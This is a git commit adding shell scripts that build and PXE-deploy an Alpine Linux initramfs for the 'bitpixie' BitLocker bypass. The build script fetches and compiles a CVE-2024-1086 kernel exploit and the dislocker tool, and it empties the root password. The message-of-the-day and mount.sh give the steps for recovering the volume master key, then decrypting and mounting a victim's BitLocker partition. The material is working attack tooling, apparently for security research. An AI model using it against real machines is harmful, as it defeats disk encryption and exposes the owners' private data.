commit bd07ff3052acd04254c886edf3de766e341fb875 Author: Marc André Tanner Date: Fri Jan 31 16:40:19 2025 +0100 Import initramfs generation scripts for bitpixie exploitation It is based on a stripped down version of Filippo Valsorda's rootfs-free immutable NAS project with various bitpixie related hacks added. https://words.filippo.io/dispatches/frood/ diff --git a/linux/.gitignore b/linux/.gitignore new file mode 100644 index 0000000..187d362 --- /dev/null +++ b/linux/.gitignore @@ -0,0 +1 @@ +/images diff --git a/linux/README.md b/linux/README.md new file mode 100644 index 0000000..4e4e99a --- /dev/null +++ b/linux/README.md @@ -0,0 +1,24 @@ +This is an Alpine Linux based initramfs intended to exploit the bitpixie vulnerability. + +It is based on a Filippo Valsorda's rootfs-free immutable NAS project. +See [frood, an Alpine initramfs NAS](https://words.filippo.io/dispatches/frood/). +To avoid confusion the script has been renamed to `bitpixie`. + +You need to have Docker installed. + +``` +$ ./bitpixie build +$ ./bitpixie qemu # optional sanity check +$ ./bitpixie deploy +``` + +In case you want to adapt it to your needs: + + - `packages` contains a list of alpine packages to install + - `root` contains files and directories which will be copied to the initramfs + - `setup.sh` is a shell script which is run during "installation" i.e. when `alpine-make-rootfs(1)` is executed + - `bitpixie-build.sh` runs in an Alpine container and copies the necessary bitpixie related files into the initialramfs + +This is not maintained for others to use, but you are welcome to copy it and +modify it under the terms of [CC0 1.0](https://creativecommons.org/publicdomain/zero/1.0/). +Feel free to share your modifications, or not. diff --git a/linux/bitpixie b/linux/bitpixie new file mode 100755 index 0000000..b05e834 --- /dev/null +++ b/linux/bitpixie @@ -0,0 +1,76 @@ +#!/bin/sh +set -e + +name="bitpixie" +images="images" + +# Images are stored in the images/ folder, named like $name.2024123101.* where +# the last two digits are an increasing counter. + +latest_image() { + ls -1 "$images" | sort | tail -n 1 | rev | cut -d '.' -f 2- | rev +} + +next_image() { + current_date=$(date +%Y%m%d) + counter=1 + while [ -e "$images/$name.${current_date}$(printf %02d $counter).initramfs" ]; do + counter=$((counter + 1)) + done + echo "$name.${current_date}$(printf %02d $counter)" +} + +fixup_image() { + current_date=$(date +%Y%m%d) + counter=1 + while [ -e "$images/$name.${current_date}$(printf %02d $((counter + 1))).initramfs" ]; do + counter=$((counter + 1)) + done + echo "$name.${current_date}$(printf %02d $counter)" +} + + +mkdir -p "$images" + +case "$1" in + build) + if [ "$2" = "--fixup" ]; then + image=$(fixup_image) + else + image=$(next_image) + fi + echo "Building image $image" + docker run --privileged --platform linux/amd64 --rm -v "$PWD":/mnt -w /root \ + alpine:3.20.3 "/mnt/$name-build.sh" "/mnt/$images/$image" + ;; + qemu) + image=$(latest_image) + echo "Running image $image in QEMU (terminate with Ctrl-A X," \ + "shutdown with Ctrl-A C system_powerdown)" + # TODO do whole secure boot setup? + qemu-system-x86_64 -m 4G -nographic \ + -kernel "$images/$image.kernel" \ + -initrd "$images/$image.initramfs" \ + -append "console=ttyS0" + ;; + deploy) + image=$(latest_image) + echo "Deploying image $image to ../pxe/tftp" + cp "$images/$image.kernel" "../pxe/tftp/linux" + cp "$images/$image.initramfs" "../pxe/tftp/alpine-initrd.xz" + ;; + "") + echo "Usage: $0 " + echo + echo "Subcommands:" + echo " build [ --fixup ] - Build the image" + echo " qemu - Run the image in QEMU" + echo " deploy - Deploy the image to the PXE directory" + echo + echo "Latest image: $(latest_image)" + ;; + *) + echo "Error: Unknown subcommand '$1'" + exit 1 + ;; +esac diff --git a/linux/bitpixie-build.sh b/linux/bitpixie-build.sh new file mode 100755 index 0000000..3f2d6e6 --- /dev/null +++ b/linux/bitpixie-build.sh @@ -0,0 +1,101 @@ +#!/bin/sh +set -e + +__() { printf "\n\033[1;32m* %s [%s]\033[0m\n" "$1" "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"; } + +#ROOTFS_DEST=/mnt/fs +#mkdir -p "$ROOTFS_DEST" +ROOTFS_DEST=$(mktemp -d) +trap 'rm -rf "$ROOTFS_DEST"' EXIT + +__ "Fetching alpine-make-rootfs" + +wget https://raw.githubusercontent.com/alpinelinux/alpine-make-rootfs/v0.7.0/alpine-make-rootfs \ + && echo '91ceb95b020260832417b01e45ce02c3a250c4527835d1bdf486bf44f80287dc alpine-make-rootfs' \ + | sha256sum -c || exit 1 && chmod +x alpine-make-rootfs + +__ "Fetching the Debian kernel and modules" + +KERNEL_TEMP=$(mktemp -d) +trap 'rm -rf "$KERNEL_TEMP"' EXIT + +wget "https://snapshot.debian.org/file/80c35e7ae9d403ebea4a05a83c0cf7871d0c23f7" -O "$KERNEL_TEMP/kernel.deb" \ + && echo "34c3595b6ac8c74fe754d375e04428624e598e4c8ce0d49eaaeceed5324baf31 $KERNEL_TEMP/kernel.deb" \ + | sha256sum -c || exit 1 + +apk add dpkg +dpkg-deb -x "$KERNEL_TEMP/kernel.deb" "$KERNEL_TEMP/root" +mkdir -p "$ROOTFS_DEST/boot" +cp "$KERNEL_TEMP/root/boot/vmlinuz"* "$ROOTFS_DEST/boot" +depmod -b "$KERNEL_TEMP/root" 5.14.0-1-amd64 +cp -r "$KERNEL_TEMP/root/lib" "$ROOTFS_DEST/lib" + +__ "Building rootfs" + +mkdir -p "$ROOTFS_DEST/etc" +basename "$1" > "$ROOTFS_DEST/etc/bitpixie-release" + +# Stop mkinitfs from running during apk install. +mkdir -p "$ROOTFS_DEST/etc/mkinitfs" +echo "disable_trigger=yes" > "$ROOTFS_DEST/etc/mkinitfs/mkinitfs.conf" + +export ALPINE_BRANCH=edge +export SCRIPT_CHROOT=yes +export FS_SKEL_DIR=/mnt/root +export FS_SKEL_CHOWN=root:root +#export REPOS_FILE=/mnt/repositories +PACKAGES="$(grep -v -e '^#' -e '^$' /mnt/packages)" +export PACKAGES +./alpine-make-rootfs "$ROOTFS_DEST" /mnt/setup.sh + +__ "Building exploit" + +EXPLOIT_TEMP=$(mktemp -d) +trap 'rm -rf "$EXPLOIT_TEMP"' EXIT + +apk add alpine-sdk +wget https://github.com/martanne/CVE-2024-1086-bitpixie/archive/ae21909107b9aef2419b5260ac9a1ed5f9b28a9b.tar.gz -O "$EXPLOIT_TEMP/exploit.tar.gz" \ + && echo "56affdd1fd016ae8ac36727e96408c7ce98a2eedfe5261dc8d7153424f0b6593 $EXPLOIT_TEMP/exploit.tar.gz" \ + | sha256sum -c || exit 1 + +tar xf "$EXPLOIT_TEMP/exploit.tar.gz" -C "$EXPLOIT_TEMP" +cd "$EXPLOIT_TEMP/CVE-2024-1086-bitpixie-"* +make CC=cc +cp exploit "$ROOTFS_DEST/sbin" +cd - + +__ "Building dislocker-git" + +DISLOCKER_TEMP=$(mktemp -d) +trap 'rm -rf "$DISLOCKER_TEMP"' EXIT + +apk add alpine-sdk cmake make fuse-dev mbedtls-dev ruby-dev +wget https://github.com/Aorimn/dislocker/archive/3e7aea196eaa176c38296a9bc75c0201df0a3679.tar.gz -O "$DISLOCKER_TEMP/dislocker.tar.gz" \ + && echo "5f402250c7119aad63bd0a413705a29013ff0a6744b08b0288f4eb2f812b0eb6 $DISLOCKER_TEMP/dislocker.tar.gz" \ + | sha256sum -c || exit 1 + +tar xf "$DISLOCKER_TEMP/dislocker.tar.gz" -C "$DISLOCKER_TEMP" +cd "$DISLOCKER_TEMP/dislocker-"* +cmake -DCMAKE_INSTALL_PREFIX=/usr . +sed -i 's/^#include "mbedtls\/config.h"/#include "mbedtls\/mbedtls_config.h"/;' include/dislocker/ssl_bindings.h + sed -i 's/^# define SHA256(input, len, output) mbedtls_sha256_ret(input, len, output, 0)/# define SHA256(input, len, output) mbedtls_sha256(input, len, output, 0)/' include/dislocker/ssl_bindings.h +make +make DESTDIR="$ROOTFS_DEST" install +cd - + +__ "Post processing rootfs" + +sed -i 's/^root:\*::0:::::/root:::0:::::/g' "$ROOTFS_DEST/etc/shadow" + +__ "Building initramfs" + +cd "$ROOTFS_DEST" +# find . -path "./boot" -prune -o -print | cpio -o -H newc | gzip > "$ROOTFS_DEST/boot/initramfs-lts" +find . -path "./boot" -prune -o -print | cpio -o -H newc | xz -C crc32 -z -9 --threads=0 -c - > "$ROOTFS_DEST/boot/initramfs-lts" + +__ "Created image!" + +cp "$ROOTFS_DEST/boot/vmlinuz"* "$1.kernel" +cp "$ROOTFS_DEST/boot/initramfs-lts" "$1.initramfs" + +ls -lh "$1"* diff --git a/linux/packages b/linux/packages new file mode 100644 index 0000000..2ebe0a8 --- /dev/null +++ b/linux/packages @@ -0,0 +1,20 @@ +# Base system +alpine-base +agetty +util-linux + +# Daemons and services +dhcpcd + +# Filesystems and devices +eudev +dosfstools +ntfs-3g +# dislocker dependencies +ruby-libs +mbedtls +fuse + +# Tools +openssh +vis diff --git a/linux/root/etc/hostname b/linux/root/etc/hostname new file mode 100644 index 0000000..fafd890 --- /dev/null +++ b/linux/root/etc/hostname @@ -0,0 +1 @@ +bitpixie diff --git a/linux/root/etc/hosts b/linux/root/etc/hosts new file mode 100644 index 0000000..cdad20e --- /dev/null +++ b/linux/root/etc/hosts @@ -0,0 +1,2 @@ +127.0.0.1 bitpixie localhost +::1 bitpixie localhost diff --git a/linux/root/etc/modules b/linux/root/etc/modules new file mode 100644 index 0000000..98f2a75 --- /dev/null +++ b/linux/root/etc/modules @@ -0,0 +1,2 @@ +fuse +loop diff --git a/linux/root/etc/motd b/linux/root/etc/motd new file mode 100644 index 0000000..7e937ab --- /dev/null +++ b/linux/root/etc/motd @@ -0,0 +1,8 @@ + ____ ___ _ _ ___ _____ ____ _ _ _ ___ ____ + | _ \ / _ \ | \ | |/ _ \_ _| | _ \ / \ | \ | |_ _/ ___| + | | | | | | | | \| | | | || | | |_) / _ \ | \| || | | + | |_| | |_| | | |\ | |_| || | | __/ ___ \| |\ || | |___ + |____/ \___/ |_| \_|\___/ |_| |_| /_/ \_\_| \_|___\____| + + # exploit && ./mount.sh /dev/partion && ls mnt + diff --git a/linux/root/etc/network/interfaces b/linux/root/etc/network/interfaces new file mode 100644 index 0000000..a6f705c --- /dev/null +++ b/linux/root/etc/network/interfaces @@ -0,0 +1,5 @@ +auto lo +iface lo inet loopback + +#auto eth0 +#iface eth0 inet dhcp diff --git a/linux/root/init b/linux/root/init new file mode 100755 index 0000000..98d9475 --- /dev/null +++ b/linux/root/init @@ -0,0 +1,7 @@ +#!/bin/sh + +mount -t proc proc /proc +mount -t sysfs sysfs /sys +mount -t devtmpfs devtmpfs /dev + +exec /sbin/init diff --git a/linux/root/root/mount.sh b/linux/root/root/mount.sh new file mode 100755 index 0000000..b6f06fc --- /dev/null +++ b/linux/root/root/mount.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +[ ! -e "$1" ] && echo "usage: $0 /dev/partition" && exit 1 + +mkdir bitlocker mnt +dislocker -V "$1" -K vmk.dat -vvv -- bitlocker +mount -t ntfs-3g -o loop bitlocker/dislocker-file mnt diff --git a/linux/setup.sh b/linux/setup.sh new file mode 100755 index 0000000..4b18a5e --- /dev/null +++ b/linux/setup.sh @@ -0,0 +1,25 @@ +#!/bin/sh +set -e + +rc-update add devfs sysinit +rc-update add dmesg sysinit +rc-update add udev sysinit +rc-update add udev-trigger sysinit +rc-update add udev-settle sysinit + +rc-update add udev-postmount default + +rc-update add hwclock boot +rc-update add modules boot +rc-update add sysctl boot +rc-update add hostname boot +rc-update add bootmisc boot +rc-update add syslog boot +rc-update add klogd boot +rc-update add networking boot + +rc-update add mount-ro shutdown +rc-update add killprocs shutdown + +ln -s /etc/init.d/agetty /etc/init.d/agetty.ttyS0 +rc-update add agetty.ttyS0 default